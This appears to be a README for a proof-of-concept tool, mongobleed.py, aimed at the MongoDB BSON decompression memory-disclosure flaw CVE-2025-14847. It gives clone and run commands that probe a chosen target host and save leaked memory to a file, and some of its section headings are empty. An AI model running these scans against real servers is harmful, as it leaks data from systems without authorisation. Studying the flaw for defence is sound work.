
This repository contains an educational research tool designed to demonstrate the memory safety concepts behind CVE-2025-14847, a critical vulnerability discovered in MongoDB's BSON decompression implementation. The tool simulates how improper bounds checking during decompression can lead to memory disclosure.
This tool demonstrates:
Prerequisites
git clone https://github.com/InfoSecAntara/CVE-2025-14847-MongoDB.git
cd CVE-2025-14847-MongoDB
# Basic scan (offsets 20-8192)
python3 mongobleed.py --host <target>
# Deep scan for more data
python3 mongobleed.py --host <target> --max-offset 50000
# Custom range
python3 mongobleed.py --host <target> --min-offset 100 --max-offset 20000
This vulnerability highlights broader issues in database security:
Official Resources:
| Option | Default | Description |
|---|
--host | localhost | Target MongoDB host |
--port | 27017 | Target MongoDB port |
--min-offset | 20 | Minimum document length to probe |
--max-offset | 8192 | Maximum document length to probe |
--output | leaked.bin | Output file for leaked data |